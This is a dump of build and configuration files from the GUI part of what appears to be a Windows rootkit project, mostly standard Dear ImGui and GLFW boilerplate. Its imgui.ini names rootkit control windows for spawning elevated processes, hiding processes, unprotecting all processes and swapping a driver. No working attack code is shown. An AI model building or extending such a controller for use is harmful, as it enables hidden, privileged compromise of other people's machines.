27 | #include "../../misc/freetype/imgui_freetype.cpp" 28 | #endif 29 | #endif 30 | -------------------------------------------------------------------------------- /ring3-gui/libs/usynergy/README.txt: -------------------------------------------------------------------------------- 1 | 2 | uSynergy client -- Implementation for the embedded Synergy client library 3 | version 1.0.0, July 7th, 2012 4 | Copyright (c) 2012 Alex Evans 5 | 6 | This is a copy of the files once found at: 7 | https://github.com/symless/synergy-core/tree/790d108a56ada9caad8e56ff777d444485a69da9/src/micro 8 | 9 | -------------------------------------------------------------------------------- /ring3-gui/ring3-gui.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.5.33627.172 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ring3-gui", "ring3-gui\ring3-gui.vcxproj", "{95440A3C-2E8D-42C5-8A36-4EDE0881BC0C}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {95440A3C-2E8D-42C5-8A36-4EDE0881BC0C}.Debug|x64.ActiveCfg = Debug|x64 17 | {95440A3C-2E8D-42C5-8A36-4EDE0881BC0C}.Debug|x64.Build.0 = Debug|x64 18 | {95440A3C-2E8D-42C5-8A36-4EDE0881BC0C}.Debug|x86.ActiveCfg = Debug|Win32 19 | {95440A3C-2E8D-42C5-8A36-4EDE0881BC0C}.Debug|x86.Build.0 = Debug|Win32 20 | {95440A3C-2E8D-42C5-8A36-4EDE0881BC0C}.Release|x64.ActiveCfg = Release|x64 21 | {95440A3C-2E8D-42C5-8A36-4EDE0881BC0C}.Release|x64.Build.0 = Release|x64 22 | {95440A3C-2E8D-42C5-8A36-4EDE0881BC0C}.Release|x86.ActiveCfg = Release|Win32 23 | {95440A3C-2E8D-42C5-8A36-4EDE0881BC0C}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {939ADE3A-F6A9-4C82-A8DB-27D75101CB94} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /ring3-gui/ring3-gui/Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # Cross Platform Makefile 3 | # Compatible with MSYS2/MINGW, Ubuntu 14.04.1 and Mac OS X 4 | # 5 | # You will need GLFW (http://www.glfw.org): 6 | # Linux: 7 | # apt-get install libglfw-dev 8 | # Mac OS X: 9 | # brew install glfw 10 | # MSYS2: 11 | # pacman -S --noconfirm --needed mingw-w64-x86_64-toolchain mingw-w64-x86_64-glfw 12 | # 13 | 14 | #CXX = g++ 15 | #CXX = clang++ 16 | 17 | EXE = example_glfw_opengl3 18 | IMGUI_DIR = ../.. 19 | SOURCES = main.cpp 20 | SOURCES += $(IMGUI_DIR)/imgui.cpp $(IMGUI_DIR)/imgui_demo.cpp $(IMGUI_DIR)/imgui_draw.cpp $(IMGUI_DIR)/imgui_tables.cpp $(IMGUI_DIR)/imgui_widgets.cpp 21 | SOURCES += $(IMGUI_DIR)/backends/imgui_impl_glfw.cpp $(IMGUI_DIR)/backends/imgui_impl_opengl3.cpp 22 | OBJS = $(addsuffix .o, $(basename $(notdir $(SOURCES)))) 23 | UNAME_S := $(shell uname -s) 24 | LINUX_GL_LIBS = -lGL 25 | 26 | CXXFLAGS = -std=c++11 -I$(IMGUI_DIR) -I$(IMGUI_DIR)/backends 27 | CXXFLAGS += -g -Wall -Wformat 28 | LIBS = 29 | 30 | ##--------------------------------------------------------------------- 31 | ## OPENGL ES 32 | ##--------------------------------------------------------------------- 33 | 34 | ## This assumes a GL ES library available in the system, e.g. libGLESv2.so 35 | # CXXFLAGS += -DIMGUI_IMPL_OPENGL_ES2 36 | # LINUX_GL_LIBS = -lGLESv2 37 | 38 | ##--------------------------------------------------------------------- 39 | ## BUILD FLAGS PER PLATFORM 40 | ##--------------------------------------------------------------------- 41 | 42 | ifeq ($(UNAME_S), Linux) #LINUX 43 | ECHO_MESSAGE = "Linux" 44 | LIBS += $(LINUX_GL_LIBS) `pkg-config --static --libs glfw3` 45 | 46 | CXXFLAGS += `pkg-config --cflags glfw3` 47 | CFLAGS = $(CXXFLAGS) 48 | endif 49 | 50 | ifeq ($(UNAME_S), Darwin) #APPLE 51 | ECHO_MESSAGE = "Mac OS X" 52 | LIBS += -framework OpenGL -framework Cocoa -framework IOKit -framework CoreVideo 53 | LIBS += -L/usr/local/lib -L/opt/local/lib -L/opt/homebrew/lib 54 | #LIBS += -lglfw3 55 | LIBS += -lglfw 56 | 57 | CXXFLAGS += -I/usr/local/include -I/opt/local/include -I/opt/homebrew/include 58 | CFLAGS = $(CXXFLAGS) 59 | endif 60 | 61 | ifeq ($(OS), Windows_NT) 62 | ECHO_MESSAGE = "MinGW" 63 | LIBS += -lglfw3 -lgdi32 -lopengl32 -limm32 64 | 65 | CXXFLAGS += `pkg-config --cflags glfw3` 66 | CFLAGS = $(CXXFLAGS) 67 | endif 68 | 69 | ##--------------------------------------------------------------------- 70 | ## BUILD RULES 71 | ##--------------------------------------------------------------------- 72 | 73 | %.o:%.cpp 74 | $(CXX) $(CXXFLAGS) -c -o $@ $< 75 | 76 | %.o:$(IMGUI_DIR)/%.cpp 77 | $(CXX) $(CXXFLAGS) -c -o $@ $< 78 | 79 | %.o:$(IMGUI_DIR)/backends/%.cpp 80 | $(CXX) $(CXXFLAGS) -c -o $@ $< 81 | 82 | all: $(EXE) 83 | @echo Build complete for $(ECHO_MESSAGE) 84 | 85 | $(EXE): $(OBJS) 86 | $(CXX) -o $@ $^ $(CXXFLAGS) $(LIBS) 87 | 88 | clean: 89 | rm -f $(EXE) $(OBJS) 90 | -------------------------------------------------------------------------------- /ring3-gui/ring3-gui/Makefile.emscripten: -------------------------------------------------------------------------------- 1 | # 2 | # Makefile to use with GLFW+emscripten 3 | # See https://emscripten.org/docs/getting_started/downloads.html 4 | # for installation instructions. 5 | # 6 | # This Makefile assumes you have loaded emscripten's environment. 7 | # (On Windows, you may need to execute emsdk_env.bat or encmdprompt.bat ahead) 8 | # 9 | # Running `make -f Makefile.emscripten` will produce three files: 10 | # - web/index.html 11 | # - web/index.js 12 | # - web/index.wasm 13 | # 14 | # All three are needed to run the demo. 15 | 16 | CC = emcc 17 | CXX = em++ 18 | WEB_DIR = web 19 | EXE = $(WEB_DIR)/index.html 20 | IMGUI_DIR = ../.. 21 | SOURCES = main.cpp 22 | SOURCES += $(IMGUI_DIR)/imgui.cpp $(IMGUI_DIR)/imgui_demo.cpp $(IMGUI_DIR)/imgui_draw.cpp $(IMGUI_DIR)/imgui_tables.cpp $(IMGUI_DIR)/imgui_widgets.cpp 23 | SOURCES += $(IMGUI_DIR)/backends/imgui_impl_glfw.cpp $(IMGUI_DIR)/backends/imgui_impl_opengl3.cpp 24 | OBJS = $(addsuffix .o, $(basename $(notdir $(SOURCES)))) 25 | UNAME_S := $(shell uname -s) 26 | CPPFLAGS = 27 | LDFLAGS = 28 | EMS = 29 | 30 | ##--------------------------------------------------------------------- 31 | ## EMSCRIPTEN OPTIONS 32 | ##--------------------------------------------------------------------- 33 | 34 | # ("EMS" options gets added to both CPPFLAGS and LDFLAGS, whereas some options are for linker only) 35 | EMS += -s DISABLE_EXCEPTION_CATCHING=1 36 | LDFLAGS += -s USE_GLFW=3 -s WASM=1 -s ALLOW_MEMORY_GROWTH=1 -s NO_EXIT_RUNTIME=0 -s ASSERTIONS=1 37 | 38 | # Uncomment next line to fix possible rendering bugs with Emscripten version older then 1.39.0 (https://github.com/ocornut/imgui/issues/2877) 39 | #EMS += -s BINARYEN_TRAP_MODE=clamp 40 | #EMS += -s SAFE_HEAP=1 ## Adds overhead 41 | 42 | # Emscripten allows preloading a file or folder to be accessible at runtime. 43 | # The Makefile for this example project suggests embedding the misc/fonts/ folder into our application, it will then be accessible as "/fonts" 44 | # See documentation for more details: https://emscripten.org/docs/porting/files/packaging_files.html 45 | # (Default value is 0. Set to 1 to enable file-system and include the misc/fonts/ folder as part of the build.) 46 | USE_FILE_SYSTEM ?= 0 47 | ifeq ($(USE_FILE_SYSTEM), 0) 48 | LDFLAGS += -s NO_FILESYSTEM=1 49 | CPPFLAGS += -DIMGUI_DISABLE_FILE_FUNCTIONS 50 | endif 51 | ifeq ($(USE_FILE_SYSTEM), 1) 52 | LDFLAGS += --no-heap-copy --preload-file ../../misc/fonts@/fonts 53 | endif 54 | 55 | ##--------------------------------------------------------------------- 56 | ## FINAL BUILD FLAGS 57 | ##--------------------------------------------------------------------- 58 | 59 | CPPFLAGS += -I$(IMGUI_DIR) -I$(IMGUI_DIR)/backends 60 | #CPPFLAGS += -g 61 | CPPFLAGS += -Wall -Wformat -Os $(EMS) 62 | # LDFLAGS += --shell-file ../libs/emscripten/shell_minimal.html 63 | LDFLAGS += $(EMS) 64 | 65 | ##--------------------------------------------------------------------- 66 | ## BUILD RULES 67 | ##--------------------------------------------------------------------- 68 | 69 | %.o:%.cpp 70 | $(CXX) $(CPPFLAGS) $(CXXFLAGS) -c -o $@ $< 71 | 72 | %.o:$(IMGUI_DIR)/%.cpp 73 | $(CXX) $(CPPFLAGS) $(CXXFLAGS) -c -o $@ $< 74 | 75 | %.o:$(IMGUI_DIR)/backends/%.cpp 76 | $(CXX) $(CPPFLAGS) $(CXXFLAGS) -c -o $@ $< 77 | 78 | all: $(EXE) 79 | @echo Build complete for $(EXE) 80 | 81 | $(WEB_DIR): 82 | mkdir $@ 83 | 84 | serve: all 85 | python3 -m http.server -d $(WEB_DIR) 86 | 87 | $(EXE): $(OBJS) $(WEB_DIR) 88 | $(CXX) -o $@ $(OBJS) $(LDFLAGS) 89 | 90 | clean: 91 | rm -rf $(OBJS) $(WEB_DIR) 92 | -------------------------------------------------------------------------------- /ring3-gui/ring3-gui/build_win32.bat: -------------------------------------------------------------------------------- 1 | @REM Build for Visual Studio compiler. Run your copy of vcvars32.bat or vcvarsall.bat to setup command-line compiler. 2 | @set OUT_DIR=Debug 3 | @set OUT_EXE=example_glfw_opengl3 4 | @set INCLUDES=/I..\.. /I..\..\backends /I..\libs\glfw\include 5 | @set SOURCES=main.cpp ..\..\backends\imgui_impl_glfw.cpp ..\..\backends\imgui_impl_opengl3.cpp ..\..\imgui*.cpp 6 | @set LIBS=/LIBPATH:..\libs\glfw\lib-vc2010-32 glfw3.lib opengl32.lib gdi32.lib shell32.lib 7 | mkdir %OUT_DIR% 8 | cl /nologo /Zi /MD /utf-8 %INCLUDES% %SOURCES% /Fe%OUT_DIR%/%OUT_EXE%.exe /Fo%OUT_DIR%/ /link %LIBS% 9 | -------------------------------------------------------------------------------- /ring3-gui/ring3-gui/example.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | 24 | 25 | 26 | Header Files 27 | 28 | 29 | Header Files 30 | 31 | 32 | 33 | 34 | Source Files 35 | 36 | 37 | -------------------------------------------------------------------------------- /ring3-gui/ring3-gui/example_glfw_opengl3.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Debug 10 | x64 11 | 12 | 13 | Release 14 | Win32 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {4a1fb5ea-22f5-42a8-ab92-1d2df5d47fb9} 23 | example_glfw_opengl3 24 | 10.0 25 | 26 | 27 | 28 | Application 29 | true 30 | MultiByte 31 | v143 32 | 33 | 34 | Application 35 | true 36 | MultiByte 37 | v143 38 | 39 | 40 | Application 41 | false 42 | true 43 | MultiByte 44 | v143 45 | 46 | 47 | Application 48 | false 49 | true 50 | MultiByte 51 | v143 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | $(ProjectDir)$(Configuration)\ 71 | $(ProjectDir)$(Configuration)\ 72 | $(IncludePath) 73 | 74 | 75 | $(ProjectDir)$(Configuration)\ 76 | $(ProjectDir)$(Configuration)\ 77 | $(IncludePath) 78 | 79 | 80 | $(ProjectDir)$(Configuration)\ 81 | $(ProjectDir)$(Configuration)\ 82 | $(IncludePath) 83 | 84 | 85 | $(ProjectDir)$(Configuration)\ 86 | $(ProjectDir)$(Configuration)\ 87 | $(IncludePath) 88 | 89 | 90 | 91 | Level4 92 | Disabled 93 | .\..\libs\imgui\.;.\..\libs\imgui\backends\.;.\..\libs\glfw\include\.;.\libs\imgui\.;.\libs\imgui\backends\.;.\libs\glfw\include\.;%(AdditionalIncludeDirectories) 94 | /utf-8 %(AdditionalOptions) 95 | 96 | 97 | true 98 | .\..\libs\glfw\lib-static-ucrt-64\.;%(AdditionalLibraryDirectories) 99 | opengl32.lib;glfw3dll.lib;%(AdditionalDependencies) 100 | Console 101 | msvcrt.lib 102 | 103 | 104 | 105 | 106 | Level4 107 | Disabled 108 | .\..\libs\imgui\.;.\..\libs\imgui\backends\.;.\..\libs\glfw\include\.;.\libs\imgui\.;.\libs\imgui\backends\.;.\libs\glfw\include\.;%(AdditionalIncludeDirectories) 109 | /utf-8 %(AdditionalOptions) 110 | MultiThreadedDebugDLL 111 | 112 | 113 | true 114 | .\..\libs\glfw\lib-static-ucrt-64\.;%(AdditionalLibraryDirectories) 115 | opengl32.lib;glfw3dll.lib;%(AdditionalDependencies) 116 | Console 117 | msvcrt.lib 118 | 119 | 120 | 121 | 122 | Level4 123 | MaxSpeed 124 | true 125 | true 126 | .\..\libs\imgui\.;.\..\libs\imgui\backends\.;.\..\libs\glfw\include\.;%(AdditionalIncludeDirectories) 127 | false 128 | /utf-8 %(AdditionalOptions) 129 | 130 | 131 | true 132 | true 133 | true 134 | ..\libs\glfw\lib-vc2010-32;%(AdditionalLibraryDirectories) 135 | opengl32.lib;glfw3.lib;%(AdditionalDependencies) 136 | Console 137 | 138 | 139 | 140 | 141 | 142 | 143 | Level4 144 | MaxSpeed 145 | true 146 | true 147 | .\..\libs\imgui\.;.\..\libs\imgui\backends\.;.\..\libs\glfw\include\.;%(AdditionalIncludeDirectories) 148 | false 149 | /utf-8 %(AdditionalOptions) 150 | MultiThreaded 151 | 152 | 153 | true 154 | true 155 | true 156 | ..\libs\glfw\lib-vc2010-64;%(AdditionalLibraryDirectories) 157 | opengl32.lib;glfw3.lib;%(AdditionalDependencies) 158 | Console 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | -------------------------------------------------------------------------------- /ring3-gui/ring3-gui/example_glfw_opengl3.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /ring3-gui/ring3-gui/imgui.ini: -------------------------------------------------------------------------------- 1 | [Window][Debug##Default] 2 | Pos=145,133 3 | Size=400,400 4 | Collapsed=0 5 | 6 | [Window][Rootkit Controller!] 7 | Pos=145,116 8 | Size=897,495 9 | Collapsed=0 10 | 11 | [Window][Dear ImGui Demo] 12 | Pos=650,20 13 | Size=550,680 14 | Collapsed=0 15 | 16 | [Window][Another Window] 17 | Pos=314,63 18 | Size=568,152 19 | Collapsed=0 20 | 21 | [Window][spawn elevated_process] 22 | Pos=60,60 23 | Size=408,205 24 | Collapsed=0 25 | 26 | [Window][Chaos Rootkit PANEL] 27 | Pos=219,80 28 | Size=653,269 29 | Collapsed=0 30 | 31 | [Window][UNPROTECT_ALL_PROCESSES] 32 | Pos=60,60 33 | Size=478,212 34 | Collapsed=0 35 | 36 | [Window][swap] 37 | Pos=60,60 38 | Size=397,189 39 | Collapsed=0 40 | 41 | [Window][Swap the driver in memory and on disk] 42 | Pos=60,60 43 | Size=449,177 44 | Collapsed=0 45 | 46 | [Window][Hide Process] 47 | Pos=60,60 48 | Size=300,300 49 | Collapsed=0 50 | 51 | -------------------------------------------------------------------------------- /ring3-gui/ring3-gui/ring3-gui.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {95440a3c-2e8d-42c5-8a36-4ede0881bc0c} 25 | example 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | true 77 | _CRT_SECURE_NO_WARNINGS;WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 78 | true 79 | .\..\libs\imgui;.\..\libs\imgui\backends;.\..\libs\glfw\include;%(AdditionalIncludeDirectories) 80 | MultiThreadedDebug 81 | 82 | 83 | Console 84 | true 85 | user32.lib;kernel32.lib;opengl32.lib;glfw3_mt.lib;%(AdditionalDependencies) 86 | .\..\libs\glfw\lib-vc2022-32\;%(AdditionalLibraryDirectories) 87 | 88 | 89 | 90 | 91 | Level3 92 | true 93 | true 94 | true 95 | _CRT_SECURE_NO_WARNINGS;WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 96 | true 97 | .\..\libs\imgui;.\..\libs\imgui\backends;.\..\libs\glfw\include;%(AdditionalIncludeDirectories) 98 | MultiThreadedDebug 99 | 100 | 101 | Console 102 | true 103 | true 104 | true 105 | user32.lib;kernel32.lib;opengl32.lib;glfw3_mt.lib;%(AdditionalDependencies) 106 | .\..\libs\glfw\lib-vc2022-32\;%(AdditionalLibraryDirectories) 107 | 108 | 109 | 110 | 111 | Level3 112 | true 113 | _CRT_SECURE_NO_WARNINGS;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 114 | true 115 | .\..\libs\imgui;.\..\libs\imgui\backends;.\..\libs\glfw\include;%(AdditionalIncludeDirectories) 116 | MultiThreadedDebug 117 | 118 | 119 | Console 120 | true 121 | user32.lib;kernel32.lib;opengl32.lib;glfw3_mt.lib;%(AdditionalDependencies) 122 | .\..\libs\glfw\lib-vc2022-64\.;%(AdditionalLibraryDirectories) 123 | 124 | 125 | 126 | 127 | 128 | 129 | Level3 130 | true 131 | true 132 | true 133 | _CRT_SECURE_NO_WARNINGS;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 134 | true 135 | .\..\libs\imgui;.\..\libs\imgui\backends;.\..\libs\glfw\include;%(AdditionalIncludeDirectories) 136 | MultiThreadedDebug 137 | 138 | 139 | Console 140 | true 141 | true 142 | true 143 | user32.lib;kernel32.lib;opengl32.lib;glfw3_mt.lib;%(AdditionalDependencies) 144 | .\..\libs\glfw\lib-vc2022-64\.;%(AdditionalLibraryDirectories) 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | --------------------------------------------------------------------------------